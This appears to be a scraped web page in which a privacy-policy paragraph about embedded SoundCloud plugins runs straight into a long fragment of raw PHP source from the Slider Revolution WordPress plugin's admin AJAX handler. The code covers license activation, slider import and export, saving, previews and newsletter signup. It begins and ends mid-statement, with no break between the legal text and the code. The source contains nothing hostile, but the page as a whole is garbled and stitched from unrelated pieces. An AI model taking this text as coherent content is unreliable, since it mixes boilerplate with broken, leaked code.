            On our pages, plugins of the SoundCloud social network (SoundCloud Limited, Berners House, 47-48 Berners Street, London W1T 3NF, UK) may be integrated. The SoundCloud plugins can be recognized by the SoundCloud logo on our site.

            When you visit our site, a direct connection between your browser and the SoundCloud server is established via the plugin. This enables SoundCloud to receive information that you have visited our site from your IP address. If you click on the “Like” or “Share” buttons while you are logged into your SoundCloud account, you can link the content of our pages to your SoundCloud profile. This means that SoundCloud can associate visits to our pages with your user account. We would like to point out that, as the provider of these pages, we have no knowledge of the content of the data transmitted or how it will be used by SoundCloud. For more information on SoundCloud’s privacy policy, please go to https://soundcloud.com/pages/privacy.

            If you do not want SoundCloud to associate your visit to our site with your SoundCloud account, please log out of your SoundCloud account.

            ', 'revslider'); } /** * Add functionality to the footer to do ajax requests outside of revslider pages **/ public static function add_ajax_footer_functionality(){ ?>

            get_request_var('client_action'); $data = $this->get_request_var('data', '', false); $data = ($data == '') ? array() : $data; $nonce = $this->get_request_var('nonce'); $nonce = (empty($nonce)) ? $this->get_request_var('rs-nonce') : $nonce; $no_cache = array('get_template_information_short', 'export_slider', 'export_slider_html', 'getSliderImage', 'getSliderSizeLayout', 'get_list_of', 'load_wordpress_object', 'get_global_settings', 'get_slides_by_slider_id', 'get_full_slider_object', 'load_builder', 'subscribe_to_newsletter', 'check_system', 'get_layers_by_slide', 'export_layer_group', 'load_wordpress_image', 'load_library_image', 'get_help_directory', 'get_tooltips', 'get_addons_sizes', 'get_v5_slider_list'); try{ if(RS_DEMO){ switch ($action){ case 'get_template_information_short': case 'import_template_slider': case 'install_template_slider': case 'install_template_slide': case 'get_list_of': case 'get_global_settings': case 'get_full_slider_object': case 'subscribe_to_newsletter': case 'check_system': case 'load_module': case 'get_addon_list': case 'get_layers_by_slide': case 'silent_slider_update': case 'get_help_directory': case 'set_tooltip_preference': case 'load_builder': case 'load_library_object': case 'get_tooltips': //case 'preview_slider': //these are all okay in demo mode break; default: $this->ajax_response_error(__('Function Not Available in Demo Mode', 'revslider')); exit; break; } } if(!current_user_can($this->user_role) && apply_filters('revslider_restrict_role', true)){ switch($action){ case 'activate_plugin': case 'deactivate_plugin': case 'import_template_slider': case 'install_template_slider': case 'install_template_slide': case 'import_slider': case 'delete_slider': case 'create_navigation_preset': case 'delete_navigation_preset': case 'save_navigation': case 'delete_animation': case 'save_animation': case 'check_system': case 'fix_database_issues': case 'trigger_font_deletion': case 'get_v5_slider_list': case 'reimport_v5_slider': $this->ajax_response_error(__('Function only available for administrators', 'revslider')); exit; break; default: $return = apply_filters('revslider_admin_onAjaxAction_user_restriction', true, $action, $data, $slider, $slide, $operations); if($return !== true){ $this->ajax_response_error(__('Function only available for administrators', 'revslider')); exit; } break; } } if(wp_verify_nonce($nonce, 'revslider_actions') == false){ //check if it is wp nonce and if the action is refresh nonce $this->ajax_response_error(__('Bad Request', 'revslider')); exit; } if(!in_array($action, $no_cache)) $this->flush_wp_cache(); switch($action){ case 'load_google_font': $google_font = $this->get_val($data, 'font', ''); $this->download_collected_fonts($google_font); $this->ajax_response_success('', ''); break; case 'collect_google_fonts': $page = $this->get_val($data, 'page', 1); $return = $this->collect_used_fonts(true, true, $page); $this->ajax_response_data($return); break; case 'delete_full_fonts_cache': $this->delete_google_fonts(); $this->ajax_response_success(__('Successfully deleted all fonts cache', 'revslider')); break; case 'activate_plugin': $result = false; $code = trim($this->get_val($data, 'code')); $selling = $this->get_addition('selling'); $rs_license = new RevSliderLicense(); if(!empty($code)){ $result = $rs_license->activate_plugin($code); }else{ $error = ($selling === true) ? __('The License Key needs to be set!', 'revslider') : __('The Purchase Code needs to be set!', 'revslider'); $this->ajax_response_error($error); exit; } if($result === true){ $this->ajax_response_success(__('Plugin successfully activated', 'revslider')); }elseif($result === false){ $error = ($selling === true) ? __('License Key is invalid', 'revslider') : __('Purchase Code is invalid', 'revslider'); $this->ajax_response_error($error); }else{ if($result == 'exist'){ $error = ($selling === true) ? __('License Key already registered!', 'revslider') : __('Purchase Code already registered!', 'revslider'); $this->ajax_response_error($error); }elseif($result == 'banned'){ $error = ($selling === true) ? __('License Key was locked, please contact the ThemePunch support!', 'revslider') : __('Purchase Code was locked, please contact the ThemePunch support!', 'revslider'); $this->ajax_response_error($error); } $error = ($selling === true) ? __('License Key could not be validated', 'revslider') : __('Purchase Code could not be validated', 'revslider'); $this->ajax_response_error($error); } break; case 'deactivate_plugin': $rs_license = new RevSliderLicense(); $result = $rs_license->deactivate_plugin(); if($result){ $this->ajax_response_success(__('Plugin deregistered', 'revslider')); }else{ $this->ajax_response_error(__('Deregistration failed!', 'revslider')); } break; case 'close_deregister_popup': update_option('revslider-deregister-popup', 'false'); $this->ajax_response_success(__('Saved', 'revslider')); break; case 'deactivate_trustpilot': update_option('revslider-trustpilot', 'false'); $this->ajax_response_success(__('Saved', 'revslider')); break; case 'dismiss_dynamic_notice': $ids = $this->get_val($data, 'id', array()); $notices_discarded = get_option('revslider-notices-dc', array()); if(!empty($ids)){ foreach($ids as $_id){ $notices_discarded[] = esc_attr(trim($_id)); } update_option('revslider-notices-dc', $notices_discarded); } $this->ajax_response_success(__('Saved', 'revslider')); break; case 'check_for_updates': $update = new RevSliderUpdate(RS_REVISION); $update->force = true; $update->_retrieve_version_info(); $version = get_option('revslider-latest-version', RS_REVISION); if($version !== false){ $this->ajax_response_data(array('version' => $version)); }else{ $this->ajax_response_error(__('Connection to Update Server Failed', 'revslider')); } break; case 'get_template_information_short': $templates = new RevSliderTemplate(); $sliders = $templates->get_tp_template_sliders(); $this->ajax_response_data(array('templates' => $sliders)); break; case 'import_template_slider': //before: import_slider_template_slidersview $uid = $this->get_val($data, 'uid'); $install = $this->get_val($data, 'install', true); $templates = new RevSliderTemplate(); $filepath = $templates->_download_template($uid); if($filepath !== false){ $templates->remove_old_template($uid); $slider = new RevSliderSliderImport(); $return = $slider->import_slider(false, $filepath, $uid, false, true, $install); if($this->get_val($return, 'success') == true){ $new_id = $this->get_val($return, 'sliderID'); if(intval($new_id) > 0){ $map = $this->get_val($return, 'map', array()); $folder_id = $this->get_val($data, 'folderid', -1); if(intval($folder_id) > 0){ $folder = new RevSliderFolder(); $folder->add_slider_to_folder($new_id, $folder_id, false); } $new_slider = new RevSliderSlider(); $new_slider->init_by_id($new_id); $data = $new_slider->get_overview_data(); $hiddensliderid = $templates->get_slider_id_by_uid($uid); $templates->_delete_template($uid); //delete template file $this->ajax_response_data(array('slider' => $data, 'hiddensliderid' => $hiddensliderid, 'map' => $map, 'uid' => $uid)); } } $templates->_delete_template($uid); //delete template file $error = ($this->get_val($return, 'error') !== '') ? $this->get_val($return, 'error') : __('Slider Import Failed', 'revslider'); $this->ajax_response_error($error); } $this->ajax_response_error(__('Template Slider Import Failed', 'revslider')); break; case 'install_template_slider': $id = $this->get_val($data, 'sliderid'); $new_id = $slider->duplicate_slider_by_id($id, true); if(intval($new_id) > 0){ $new_slider = new RevSliderSlider(); $new_slider->init_by_id($new_id); $data = $new_slider->get_overview_data(); $slide_maps = $slider->get_map(); $map = array( 'slider' => array('template_to_duplication' => array($id => $new_id)), 'slides' => $slide_maps ); $this->ajax_response_data(array('slider' => $data, 'hiddensliderid' => $id, 'map' => $map)); } $this->ajax_response_error(__('Template Slider Installation Failed', 'revslider')); break; case 'install_template_slide': $template = new RevSliderTemplate(); $slider_id = intval($this->get_val($data, 'slider_id')); $slide_id = intval($this->get_val($data, 'slide_id')); if($slider_id == 0 || $slide_id == 0){ }else{ $new_slide_id = $slide->duplicate_slide_by_id($slide_id, $slider_id); if($new_slide_id !== false){ $slide->init_by_id($new_slide_id); $_slides[] = array( 'order' => $slide->get_order(), 'params' => $slide->get_params(), 'layers' => $slide->get_layers(), 'id' => $slide->get_id(), ); $this->ajax_response_data(array('slides' => $_slides)); } } $this->ajax_response_error(__('Slide duplication failed', 'revslider')); break; case 'import_slider': $import = new RevSliderSliderImport(); $return = $import->import_slider(); if($this->get_val($return, 'success') == true){ $new_id = $this->get_val($return, 'sliderID'); if(intval($new_id) > 0){ $folder = new RevSliderFolder(); $folder_id = $this->get_val($data, 'folderid', -1); if(intval($folder_id) > 0){ $folder->add_slider_to_folder($new_id, $folder_id, false); } $new_slider = new RevSliderSlider(); $new_slider->init_by_id($new_id); $data = $new_slider->get_overview_data(); $this->ajax_response_data(array('slider' => $data, 'hiddensliderid' => $new_id)); } } $error = ($this->get_val($return, 'error') !== '') ? $this->get_val($return, 'error') : __('Slider Import Failed', 'revslider'); $this->ajax_response_error($error); break; case 'add_to_media_library': $return = $this->import_upload_media(); if($this->get_val($return, 'error', false) !== false){ $this->ajax_response_error($this->get_val($return, 'error', false)); }else{ $this->ajax_response_data($return); } break; case 'adjust_modal_ids': $map = $this->get_val($data, 'map', array()); if(!empty($map)){ $slider_ids = $this->get_val($map, 'slider_map', array()); $slides_ids = $this->get_val($map, 'slides_map', array()); $ztt = $this->get_val($slider_ids, 'zip_to_template', array()); $ztd = $this->get_val($slider_ids, 'zip_to_duplication', array()); $ttd = $this->get_val($slider_ids, 'template_to_duplication', array()); $s_a = array(); if(!empty($slides_ids)){ foreach($slides_ids as $k => $v){ if(is_array($v)){ foreach($v as $vk => $vv){ $s_a[$vk] = $vv; } unset($slides_ids[$k]); } } } if(!empty($ztt)){ foreach($ztt as $old => $new){ $slider = new RevSliderSliderImport(); $slider->init_by_id($new); $slider->update_modal_ids($ztt, $slides_ids); } } if(!empty($ztd)){ foreach($ztd as $old => $new){ $slider = new RevSliderSliderImport(); $slider->init_by_id($new); $slider->update_modal_ids($ztd, $s_a); } } if(!empty($ttd)){ foreach($ttd as $old => $new){ $slider = new RevSliderSliderImport(); $slider->init_by_id($new); $slider->update_modal_ids($ttd, $slides_ids); } } $this->ajax_response_data(array()); }else{ $this->ajax_response_error(__('Slider Map Empty', 'revslider')); } break; case 'adjust_js_css_ids': $map = $this->get_val($data, 'map', array()); if(!empty($map)){ $slider_map = array(); foreach($map as $m){ $slider_ids = $this->get_val($m, 'slider_map', array()); if(!empty($slider_ids)){ foreach($slider_ids as $old => $new){ $slider = new RevSliderSliderImport(); $slider->init_by_id($new); $slider_map[] = $slider; } } } if(!empty($slider_map)){ foreach($slider_map as $slider){ foreach($map as $m){ $slider_ids = $this->get_val($m, 'slider_map', array()); $slide_ids = $this->get_val($m, 'slide_map', array()); if(!empty($slider_ids)){ foreach($slider_ids as $old => $new){ $slider->update_css_and_javascript_ids($old, $new, $slide_ids); } } } } } } break; case 'export_slider': $export = new RevSliderSliderExport(); $id = intval($this->get_request_var('id')); $export->export_slider($id); //will never be called if all is good $this->ajax_response_error(__('Slider Export Error!!!', 'revslider')); break; case 'export_slider_html': $export = new RevSliderSliderExportHtml(); $id = intval($this->get_request_var('id')); $export->export_slider_html($id); //will never be called if all is good $this->ajax_response_error(__('Slider HTML Export Error!!!', 'revslider')); break; case 'delete_slider': $id = $this->get_val($data, 'id'); $slider->init_by_id($id); $slider->delete_slider(); $this->ajax_response_success(__('Slider Deleted', 'revslider')); break; case 'duplicate_slider': $id = $this->get_val($data, 'id'); $new_id = $slider->duplicate_slider_by_id($id); if(intval($new_id) > 0){ $new_slider = new RevSliderSlider(); $new_slider->init_by_id($new_id); $data = $new_slider->get_overview_data(); $this->ajax_response_data(array('slider' => $data)); } $this->ajax_response_error(__('Duplication Failed', 'revslider')); break; case 'save_slide': $slide_id = $this->get_val($data, 'slide_id'); $slider_id = $this->get_val($data, 'slider_id'); $return = $slide->save_slide($slide_id, $data, $slider_id); $cache = RevSliderGlobals::instance()->get('RevSliderCache'); $cache->clear_transients_by_slider($slider_id); if($return){ $this->ajax_response_success(__('Slide Saved', 'revslider')); }else{ $this->ajax_response_error(__('Slide not found', 'revslider')); } break; case 'save_slide_advanced': $slide_id = $this->get_val($data, 'slide_id'); $slider_id = $this->get_val($data, 'slider_id'); $return = $slide->save_slide_advanced($slide_id, $data, $slider_id); $cache = RevSliderGlobals::instance()->get('RevSliderCache'); $cache->clear_transients_by_slider($slider_id); if($return){ $this->ajax_response_success(__('Slide Saved', 'revslider')); }else{ $this->ajax_response_error(__('Slide not found', 'revslider')); } break; case 'save_slider': $slider_id = $this->get_val($data, 'slider_id'); $slide_ids = $this->get_val($data, 'slide_ids', array()); $return = $slider->save_slider($slider_id, $data); $missing_slides = array(); $delete_slides = array(); $cache = RevSliderGlobals::instance()->get('RevSliderCache'); $cache->clear_transients_by_slider($slider_id); if($return !== false){ if(!empty($slide_ids)){ $slides = $slider->get_slides(false, true); //get the missing Slides (if any at all) foreach($slide_ids as $slide_id){ $found = false; foreach($slides as $_slide){ if($_slide->get_id() !== $slide_id){ continue; } $found = true; } if(!$found){ $missing_slides[] = $slide_id; } } //get the Slides that are no longer needed and delete them $existing_slide_ids = array(); foreach($slides as $key => $_slide){ $id = $_slide->get_id(); if(!in_array($id, $slide_ids)){ $delete_slides[] = $id; }else{ $existing_slide_ids[] = $id; } } foreach($slides as $key => $_slide){ //check if the parentID exists in the $slides, if not remove this child slide $parentID = $_slide->get_param(array('child', 'parentId'), false); if($parentID !== false){ if(!in_array($parentID, $existing_slide_ids)){ $slid = $_slide->get_id(); if(!in_array($slid, $delete_slides)){ $delete_slides[] = $slid; } } } } if(!empty($delete_slides)){ //check for parentID's and if they exist, if the parentID will be deleted foreach($slides as $key => $_slide){ //params -> child -> parentID $parentID = $_slide->get_param(array('child', 'parentId'), false); $child = $_slide->get_param(array('child'), false); //var_dump($parentID); if($parentID !== false){ if(in_array($parentID, $delete_slides)){ $delete_slides[] = $_slide->get_id(); } } } foreach($slides as $key => $_slide){ $id = $_slide->get_id(); if(in_array($id, $delete_slides)){ unset($slides[$key]); //remove none existing slides for further ordering process } } foreach($delete_slides as $delete_slide){ $slide->delete_slide_by_id($delete_slide); } } //change the order of slides $slide = new RevSliderSlide(); foreach($slide_ids as $order => $id){ $new_order = $order + 1; $slide->change_slide_order($id, $new_order); } } $this->ajax_response_data(array('missing' => $missing_slides, 'delete' => $delete_slides)); }else{ $this->ajax_response_error(__('Slider not found', 'revslider')); } break; case 'delete_slide': $slide_id = intval($this->get_val($data, 'slide_id', '')); if($slide_id > 0){ $slide->init_by_id($slide_id); $slider_id = $slide->get_slider_id(); $cache = RevSliderGlobals::instance()->get('RevSliderCache'); $cache->clear_transients_by_slider($slider_id); } $return = ($slide_id > 0) ? $slide->delete_slide_by_id($slide_id) : false; if($return !== false){ $this->ajax_response_success(__('Slide deleted', 'revslider')); }else{ $this->ajax_response_error(__('Slide could not be deleted', 'revslider')); } break; case 'duplicate_slide': $slide_id = intval($this->get_val($data, 'slide_id', '')); $slider_id = intval($this->get_val($data, 'slider_id', '')); $new_slide_id = $slide->duplicate_slide_by_id($slide_id, $slider_id); if($new_slide_id !== false){ $slide->init_by_id($new_slide_id); $_slide = $slide->get_overview_data(); $this->ajax_response_data(array('slide' => $_slide)); }else{ $this->ajax_response_error(__('Slide could not duplicated', 'revslider')); } break; case 'update_slide_order': $slide_ids = $this->get_val($data, 'slide_ids', array()); //change the order of slides if(!empty($slide_ids)){ $init = false; foreach($slide_ids as $order => $id){ if($init === false){ $slide->init_by_id($id); $init = true; } $new_order = $order + 1; $slide->change_slide_order($id, $new_order); } $slider_id = $slide->get_slider_id(); $cache = RevSliderGlobals::instance()->get('RevSliderCache'); $cache->clear_transients_by_slider($slider_id); $this->ajax_response_success(__('Slide order changed', 'revslider')); }else{ $this->ajax_response_error(__('Slide order could not be changed', 'revslider')); } break; case 'getSliderImage': // Available Sliders $slider = new RevSliderSlider(); $arrSliders = $slider->get_sliders(); // Given Alias $alias = $this->get_val($data, 'alias'); $return = array_search($alias,$arrSliders); foreach($arrSliders as $sliderony){ if($sliderony->get_alias() != $alias) continue; $slider_found = $sliderony->get_overview_data(); $return = $this->get_val($slider_found, array('bg', 'src')); $title = $this->get_val($slider_found, 'title'); $premium_state = $this->get_val($slider_found, 'premium'); break; } if(!$return) $return = ''; if(!empty($title)){ $this->ajax_response_data(array('image' => $return, 'title' => $title, 'premium' => $premium_state)); }else{ $this->ajax_response_error( __('The Slider with the alias "' . $alias . '" is not available!', 'revslider') ); } break; case 'getSliderSizeLayout': // Available Sliders $slider = new RevSliderSlider(); $arrSliders = $slider->get_sliders(); // Given Alias $alias = $this->get_val($data, 'alias'); $return = array_search($alias, $arrSliders); $title = ''; foreach($arrSliders as $sliderony){ if($sliderony->get_alias() == $alias){ $slider_found = $sliderony->get_overview_data(); $return = $slider_found['size']; $title = $slider_found['title']; } } $this->ajax_response_data(array('layout' => $return, 'title' => $title)); break; case 'get_list_of': $type = $this->get_val($data, 'type'); switch($type){ case 'sliders': $slider = new RevSliderSlider(); $arrSliders = $slider->get_sliders(); $return = array(); foreach($arrSliders as $sliderony){ $return[$sliderony->get_id()] = array('slug' => $sliderony->get_alias(), 'title' => $sliderony->get_title(), 'type' => $sliderony->get_type(), 'subtype' => $sliderony->get_param(array('source', 'post', 'subType'), false)); } $this->ajax_response_data(array('sliders' => $return)); break; case 'pages': $pages = get_pages(array()); $return = array(); foreach($pages as $page){ if(!$page->post_password){ $return[$page->ID] = array('slug' => $page->post_name, 'title' => $page->post_title); } } $this->ajax_response_data(array('pages' => $return)); break; case 'posttypes': $args = array( 'public' => true, '_builtin' => false, ); $output = 'objects'; $operator = 'and'; $post_types = get_post_types($args, $output, $operator); $return['post'] = array('slug' => 'post', 'title' => __('Posts', 'revslider')); foreach($post_types as $post_type){ $return[$post_type->rewrite['slug']] = array('slug' => $post_type->rewrite['slug'], 'title' => $post_type->labels->name); if(!in_array($post_type->name, array('post', 'page', 'attachment', 'revision', 'nav_menu_item', 'custom_css', 'custom_changeset', 'user_request'))){ $taxonomy_objects = get_object_taxonomies($post_type->name, 'objects'); if(!empty($taxonomy_objects)){ $return[$post_type->rewrite['slug']]['tax'] = array(); foreach($taxonomy_objects as $name => $tax){ $return[$post_type->rewrite['slug']]['tax'][$name] = $tax->label; } } } } $this->ajax_response_data(array('posttypes' => $return)); break; } break; case 'load_wordpress_object': $id = $this->get_val($data, 'id', 0); $type = $this->get_val($data, 'type', 'full'); $file = wp_get_attachment_image_src($id, $type); if($file !== false){ $this->ajax_response_data(array('url' => $this->get_val($file, 0))); }else{ $this->ajax_response_error(__('File could not be loaded', 'revslider')); } break; case 'get_global_settings': $this->ajax_response_data(array('global_settings' => $this->global_settings)); break; case 'update_global_settings': $global = $this->get_val($data, 'global_settings', array()); if(!empty($global)){ $update = $this->get_val($data, 'update', false); $return = $this->set_global_settings($global, $update); if($return === true){ $this->ajax_response_success(__('Global Settings saved/updated', 'revslider')); }else{ $this->ajax_response_error(__('Global Settings not saved/updated', 'revslider')); } }else{ $this->ajax_response_error(__('Global Settings not saved/updated', 'revslider')); } break; case 'create_navigation_preset': $nav = new RevSliderNavigation(); $return = $nav->add_preset($data); if($return === true){ $this->ajax_response_success(__('Navigation preset saved/updated', 'revslider'), array('navs' => $nav->get_all_navigations_builder())); }else{ if($return === false){ $return = __('Preset could not be saved/values are the same', 'revslider'); } $this->ajax_response_error($return); } break; case 'delete_navigation_preset': $nav = new RevSliderNavigation(); $return = $nav->delete_preset($data); if($return === true){ $this->ajax_response_success(__('Navigation preset deleted', 'revslider'), array('navs' => $nav->get_all_navigations_builder())); }else{ if($return === false){ $return = __('Preset not found', 'revslider'); } $this->ajax_response_error($return); } break; case 'save_navigation': //also deletes if requested $_nav = new RevSliderNavigation(); $navs = (array) $this->get_val($data, 'navs', array()); $delete_navs = (array) $this->get_val($data, 'delete', array()); if(!empty($delete_navs)){ foreach($delete_navs as $dnav){ $_nav->delete_navigation($dnav); } } if(!empty($navs)){ $_nav->create_update_full_navigation($navs); } $navigations = $_nav->get_all_navigations_builder(); $this->ajax_response_data(array('navs' => $navigations)); break; case 'delete_animation': $animation_id = $this->get_val($data, 'id'); $admin = new RevSliderFunctionsAdmin(); $return = $admin->delete_animation($animation_id); if($return){ $this->ajax_response_success(__('Animation deleted', 'revslider')); }else{ $this->ajax_response_error(__('Deletion failed', 'revslider')); } break; case 'save_animation': $admin = new RevSliderFunctionsAdmin(); $id = $this->get_val($data, 'id', false); $type = $this->get_val($data, 'type', 'in'); $animation = $this->get_val($data, 'obj'); if($id !== false){ $return = $admin->update_animation($id, $animation, $type); }else{ $return = $admin->insert_animation($animation, $type); } if(intval($return) > 0){ $this->ajax_response_data(array('id' => $return)); } elseif($return === true){ $this->ajax_response_success(__('Animation saved', 'revslider')); }else{ if($return == false){ $this->ajax_response_error(__('Animation could not be saved', 'revslider')); } $this->ajax_response_error($return); } break; case 'get_slides_by_slider_id': $sid = intval($this->get_val($data, 'id')); $slides = array(); $_slides = $slide->get_slides_by_slider_id($sid); if(!empty($_slides)){ foreach($_slides as $slide){ $slides[] = $slide->get_overview_data(); } } $this->ajax_response_data(array('slides' => $slides)); break; case 'get_full_slider_object': $slide_id = $this->get_val($data, 'id'); $slide_id = RevSliderFunctions::esc_attr_deep($slide_id); $slider_alias = $this->get_val($data, 'alias', ''); $slider_alias = RevSliderFunctions::esc_attr_deep($slider_alias); if($slider_alias !== ''){ $slider->init_by_alias($slider_alias); $slider_id = $slider->get_id(); }else{ if(strpos($slide_id, 'slider-') !== false){ $slider_id = str_replace('slider-', '', $slide_id); }else{ $slide->init_by_id($slide_id); $slider_id = $slide->get_slider_id(); if(intval($slider_id) == 0){ $this->ajax_response_error(__('Slider could not be loaded', 'revslider')); } } $slider->init_by_id($slider_id); } if($slider->inited === false){ $this->ajax_response_error(__('Slider could not be loaded', 'revslider')); } //check if an update is needed if(version_compare($slider->get_param(array('settings', 'version')), get_option('revslider_update_version', '6.0.0'), '<')){ $upd = new RevSliderPluginUpdate(); $upd->upgrade_slider_to_latest($slider); $slider->init_by_id($slider_id); } //create static Slide if the Slider not yet has one $static_slide_id = $slide->get_static_slide_id($slider_id); $static_slide_id = (intval($static_slide_id) === 0) ? $slide->create_slide($slider_id, '', true) : $static_slide_id; $static_slide = false; if(intval($static_slide_id) > 0){ $static_slide = new RevSliderSlide(); $static_slide->init_by_static_id($static_slide_id); } $slides = $slider->get_slides(false, true); $_slides = array(); $_static_slide = array(); if(!empty($slides)){ foreach($slides as $s){ $_slides[] = array( 'order' => $s->get_order(), 'params' => $s->get_params(), 'layers' => $s->get_layers(), 'id' => $s->get_id(), ); } } if(!empty($static_slide)){ $_static_slide = array( 'params' => $static_slide->get_params(), 'layers' => $static_slide->get_layers(), 'id' => $static_slide->get_id(), ); } $obj = array( 'id' => $slider_id, 'alias' => $slider->get_alias(), 'title' => $slider->get_title(), 'slider_params' => $slider->get_params(), 'slider_settings' => $slider->get_settings(), 'slides' => $_slides, 'static_slide' => $_static_slide, ); $uid = $this->get_val($obj, array('slider_params', 'uid')); if(!empty($uid)){ $templates = new RevSliderTemplate(); $rslb = RevSliderGlobals::instance()->get('RevSliderLoadBalancer'); $temp_url = $rslb->get_url('templates', 0, true).'/'.$templates->templates_server_path; $defaults = $this->get_addition(array('templates', 'guide')); $template_data = $templates->get_tp_template_sliders($uid); if(!empty($template_data)){ foreach($template_data as $data){ $title = $this->get_val($data, 'guide_title'); $url = $this->get_val($data, 'guide_url'); $img = $this->get_val($data, 'guide_img'); $template_img = $this->get_val($data, 'img'); $obj['guide'] = array( 'title' => (empty($title)) ? $this->get_val($defaults, 'title') : $title, 'url' => (empty($url)) ? $this->get_val($defaults, 'url') : $url, 'img' => (empty($img)) ? $this->get_val($defaults, 'img') : $temp_url.'/'.$img, 'template_img' => (empty($template_img)) ? $this->get_val($defaults, 'img') : $template_img, 'template_title'=> $this->get_val($data, 'title'), ); break; } } } $this->ajax_response_data($obj); break; case 'load_builder': ob_start(); require_once(RS_PLUGIN_PATH . 'admin/views/builder.php'); $builder = ob_get_contents(); ob_clean(); ob_end_clean(); $this->ajax_response_data($builder); break; case 'create_slider_folder': $folder = new RevSliderFolder(); $title = $this->get_val($data, 'title', __('New Folder', 'revslider')); $parent = $this->get_val($data, 'parentFolder', 0); $new = $folder->create_folder($title, $parent); if($new !== false){ $overview_data = $new->get_overview_data(); $this->ajax_response_data(array('folder' => $overview_data)); }else{ $this->ajax_response_error(__('Folder Creation Failed', 'revslider')); } break; case 'delete_slider_folder': $id = $this->get_val($data, 'id'); $folder = new RevSliderFolder(); $is = $folder->init_folder_by_id($id); if($is === true){ $folder->delete_slider(); $this->ajax_response_success(__('Folder Deleted', 'revslider')); }else{ $this->ajax_response_error(__('Folder Deletion Failed', 'revslider')); } break; case 'update_slider_tags': $id = $this->get_val($data, 'id'); $tags = $this->get_val($data, 'tags'); $return = $slider->update_slider_tags($id, $tags); if($return == true){ $this->ajax_response_success(__('Tags Updated', 'revslider')); }else{ $this->ajax_response_error(__('Failed to Update Tags', 'revslider')); } break; case 'save_slider_folder': $folder = new RevSliderFolder(); $children = $this->get_val($data, 'children'); $folder_id = $this->get_val($data, 'id'); $return = $folder->add_slider_to_folder($children, $folder_id); if($return == true){ $this->ajax_response_success(__('Slider Moved to Folder', 'revslider')); }else{ $this->ajax_response_error(__('Failed to Move Slider Into Folder', 'revslider')); } break; case 'update_slider_name': case 'update_folder_name': $slider_id = $this->get_val($data, 'id'); $new_title = $this->get_val($data, 'title'); $slider->init_by_id($slider_id, $new_title); $return = $slider->update_title($new_title); if($return != false){ $this->ajax_response_success(__('Title updated', 'revslider'), array('title' => $return)); }else{ $this->ajax_response_error(__('Failed to update Title', 'revslider')); } break; case 'preview_slider': $slider_id = $this->get_val($data, 'id'); $slider_data = $this->get_val($data, 'data'); $title = __('Slider Revolution Preview', 'revslider'); if(intval($slider_id) > 0 && empty($slider_data)){ $slider->init_by_id($slider_id); //check if an update is needed if(version_compare($slider->get_param(array('settings', 'version')), get_option('revslider_update_version', '6.0.0'), '<')){ $upd = new RevSliderPluginUpdate(); $upd->upgrade_slider_to_latest($slider); $slider->init_by_id($slider_id); } global $rs_preview_mode; $rs_preview_mode = true; $content = '[rev_slider alias="' . esc_attr($slider->get_alias()) . '"][/rev_slider]'; }elseif(!empty($slider_data)){ $_slides = array(); $_static = array(); $slides = array(); $static_slide = array(); $_slider = array( 'id' => $slider_id, 'title' => 'Preview', 'alias' => 'preview', 'settings' => json_encode(array('version' => RS_REVISION)), 'params' => stripslashes($this->get_val($slider_data, 'slider')) ); $slide_order = json_decode(stripslashes($this->get_val($slider_data, array('slide_order'))), true); foreach($slider_data as $sk => $sd){ if(in_array($sk, array('slider', 'slide_order'), true)) continue; if(strpos($sk, 'static_') !== false){ $_static = array( 'params' => stripslashes($this->get_val($sd, 'params')), 'layers' => stripslashes($this->get_val($sd, 'layers')), ); }else{ $_slides[$sk] = array( 'id' => $sk, 'slider_id' => $slider_id, 'slide_order' => array_search($sk, $slide_order), 'params' => stripslashes($this->get_val($sd, 'params')), 'layers' => stripslashes($this->get_val($sd, 'layers')), 'settings' => array('version' => RS_REVISION) ); } } $slider->set_slides($_slides); $output = new RevSliderOutput(); $output->set_preview_mode(true); $slider->init_by_data($_slider); if($slider->is_stream() || $slider->is_posts()){ $slides = $slider->get_slides_for_output(); }else{ if(!empty($_slides)){ //reorder slides usort($_slides, array($this, 'sort_by_slide_order')); foreach($_slides as $_slide){ $slide = new RevSliderSlide(); $slide->init_by_data($_slide); if($slide->get_param(array('publish', 'state'), 'published') === 'unpublished') continue; $slides[] = $slide; } } } if(!empty($_static)){ $slide = new RevSliderSlide(); $slide->init_by_data($_static); $static_slide = $slide; } $output->set_slider($slider); $output->set_current_slides($slides); $output->set_static_slide($static_slide); ob_start(); $slider = $output->add_slider_to_stage($slider_id); $content = ob_get_contents(); ob_clean(); ob_end_clean(); } //get dimensions of slider $size = array( 'width' => $slider->get_param(array('size', 'width'), array()), 'height' => $slider->get_param(array('size', 'height'), array()), 'custom' => $slider->get_param(array('size', 'custom'), array()) ); if(empty($size['width'])){ $size['width'] = array( 'd' => $this->get_val($this->global_settings, array('size', 'desktop'), '1240'), 'n' => $this->get_val($this->global_settings, array('size', 'notebook'), '1024'), 't' => $this->get_val($this->global_settings, array('size', 'tablet'), '778'), 'm' => $this->get_val($this->global_settings, array('size', 'mobile'), '480') ); } if(empty($size['height'])){ $size['height'] = array('d' => '868', 'n' => '768', 't' => '960', 'm' => '720'); } global $revslider_is_preview_mode; $revslider_is_preview_mode = true; if(extension_loaded('newrelic')){ //Ensure PHP agent is available if(function_exists('newrelic_disable_autorum')){ newrelic_disable_autorum(); } } require_once(RS_PLUGIN_PATH . 'public/includes/functions-public.class.php'); $rev_slider_front = new RevSliderFront(); $post = $this->create_fake_post($content, $title); define('SHOW_CT_BUILDER', false); //fix for oxygen builder plugin to not remove the tag and so on ob_start(); include(RS_PLUGIN_PATH . 'public/views/revslider-page-template.php'); $html = ob_get_contents(); ob_clean(); ob_end_clean(); $return = array('html' => $html, 'size' => $size, 'layouttype' => $slider->get_param('layouttype', 'fullwidth')); $return = apply_filters('revslider_preview_slider_addition', $return, $slider); $this->ajax_response_data($return); exit; break; case 'subscribe_to_newsletter': $email = $this->get_val($data, 'email'); if(!empty($email)){ $return = ThemePunch_Newsletter::subscribe($email); if($return !== false){ if(!isset($return['status']) || $return['status'] === 'error'){ $error = $this->get_val($return, 'message', __('Invalid Email', 'revslider')); $this->ajax_response_error($error); }else{ $this->ajax_response_success(__('Success! Please check your E-Mails to finish the subscription', 'revslider'), $return); } } $this->ajax_response_error(__('Invalid Email/Could not connect to the Newsletter server', 'revslider')); } $this->ajax_response_error(__('No Email given', 'revslider')); break; case 'check_system': //recheck the connection to themepunch server $update = new RevSliderUpdate(RS_REVISION); $update->force = true; $update->_retrieve_version_info(); $fun = new RevSliderFunctionsAdmin(); $system = $fun->get_system_requirements(); $this->ajax_response_data(array('system' => $system)); break; case 'load_module': $module = $this->get_val($data, 'module', array('all')); $module_uid = 